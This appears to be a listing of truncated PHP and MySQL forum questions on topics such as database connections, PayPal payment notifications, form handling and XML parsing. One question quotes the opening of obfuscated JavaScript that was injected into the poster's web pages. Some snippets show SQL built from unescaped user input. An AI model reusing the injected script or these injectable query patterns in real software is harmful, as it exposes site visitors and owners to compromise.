class MySQLDatabase
{
public $connection;
function _construct() { $this->open_connection();}
public function open_connection()
{$this->connection = mysql_connect(DB_SERVER,DB_USER,DB_PASS);
if(!$this->connection){die("Database Connection Failed" . mysql_error());}
else{$db_select = mysql_select_db(D...
Hey everyone!
I'm using PayPal 'buy it now' buttons on my website to sell products. Because I keep track of the number of units in stock for each product in a MySQL database and I'd like the inventory tracking in the system to be automated, I am using PayPal's Instant Payment Notification functionality to let me know when a purchase ha...
I want to allow users to either have there username field empty at any time but I get the username error message Your username is unavailable! how can I correct this problem?
Here is the PHP code.
if(isset($_POST['username'])) {
$u = "SELECT *
FROM users
WHERE username = '$username'
AND user_id <> ...
Yeah, I know! It's not my choice.
I am doing a large data import using a PHP script into a mysql DB hosted on godaddy. It seems their mysql connection gets killed every few hours regardless of what work it's doing. Their tech support is useless, and I've exhausted myself writing attempted workarounds. Right now, I'm trying to do a mysq...
I have a string of data like below and I've been struggling trying to figure out how to split it up so that I can use it efficiently.
"United States FirstName: Mike LastName: Doe City: Chicago"
I need to split up the string in to substrings and the list may not always be in the same order.
For example it could vary like below:
"Un...
When posting a form to the same PHP page, what is the correct method to find if the page was accidentally refreshed instead of submitted again?
Here's what I'm using right now:
$tmp = implode('',$_POST);
$myHash = md5($tmp);
if(isset($_SESSION["myHash"]) && $_SESSION["myHash"] == $myHash)
{
header("Location: index.php"); // page ...
I've recently learned how to join 2 arrays using the + operator in PHP.
But consider this code...
$array = array('Item 1');
$array += array('Item 2');
var_dump($array);
Output is
array(1) { [0]=> string(6) "Item
1" }
Why does this not work? Skipping the shorthand and using $array = $array + array('Item 2') does not work...
OUR CURRENT BUILD PROCESS
We're a small team of developers (2 to 4 people depending on project) who currently use Phing to deploy code to a staging environment, before going live. We keep our code in a SVN repo, where the trunk holds current active development and, at certain times, we do make branches that we test and then (if successf...
config.php put at the root level, this file will be included in any pages.
Then at config.php
<?php
define( 'ROOT_DIR', dirname(__FILE__) );
?>
So at all other pages from different sub/a.php , sub/sub/b.php directories, when I want to include a specific file in specific location, I just need to
include( ROOT_DIR.'/include/functions....
Hello,
I am using a login system. When I navigate to comments/index.php without logging in, some variables get passed along using the GET method just fine. Then, if I log in while I am on this page, these variables disappear. The variables that disappear are $submission, $submissionid, and $url.
I thought I could use the GET metho...
I am trying to write a script which uploads a file via a html form.
When I click submit nothing happens.
file: upload_form.html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type...
How do I allow all users to have their username field empty without having them need to enter a username when they submit the form using PHP and MySQL?
Here is part my PHP and MySQL code.
$username = mysqli_real_escape_string($mysqli, $purifier->purify(htmlentities(strip_tags($_POST['username']))));
if(isset($_POST['username'])) {
...
Is there a way to programmatically retrieve the maximum float value for php. Akin to FLT_MAX or std::numeric_limits< float >::max() in C / C++?
I am using something like the following:
$minimumCost = MAXIMUM_FLOAT_VALUE??;
foreach ( $objects as $object )
{
$cost = $object->CalculateCost();
if ( $cost < $minimumCost )
{
...
Hi, I would like to check a opened .txt file for braces that open and close like below:
file {
nextopen {
//content
}
}
no this is not my own language or anything, but I want to get say the nextopen function and all the contents inside the brackets, and all the stuff from inside the file function and add it to an array if you know w...
Hey, I've tried to update jQuery to its latest version on a system I'm working and I'm having this issue:
I have a file that posts data to a .php:
$.post(
'ajax_Save.php',
{
id: [$('#service_id').val()],
number: [$('#number').val()]
},
function(data){
...
});
On ajax_Save.php var_dump($_POST) gives:
array(26) { ["id"]=> array(...
I am trying to connect to mysql and am getting an error.
I put my servers ip address in and used port 3306 whihch post should be used?
<?php
$connection = mysql_connect("serer.ip:port", "user", "pass")
or die(mysql_error());
if ($connection) {$msg = "success";}
?>
<html>
<head>
</head>
<body>
<? echo "$msg"; ?>
</body>
</html>
...
I am beginner in PHP. I am trying to parse this xml file.
<relationship>
<target>
<following type="boolean">true</following>
<followed_by type="boolean">true</followed_by>
<screen_name>xxxx</screen_name>
<id type="integer">xxxx</id>
</target>
<source>
<notifications_enabled nil="true"/>
<following type="boolean">true</fol...
I am trying to query a bittorrent tracker and am using unpack to get the list of IPs from the response. So, something like this:
$ip = unpack("N", $peers);
$ip_add = ($ip[1]>>24) . "." . (($ip[1]&0x00FF0000)>>16) . "." . (($ip[1]&0x0000FF00)>>8) . "." . ($ip[1]&0x000000FF);
But, for some reason, I am getting the following IP addresses...
I've found out that my web pages (mainly index.php, main.html, include.inc) have been injected with a chunk of javascript codes at the very bottom after my original code.
<script>try {this.l="";var d=window[unescape("%75%6e%65%73%63%61%70%65")];var M;if(M!='' && M!='a'){M='bt'};var A="";var Mc=new String();var e=null;this.k="";var t;if(...
I was wondering if there is a way to print just the structure of the array without the contents. I generally use print_r to examine the structure but because my array contains some binary data, I'd rather not use this. Any suggestions?
...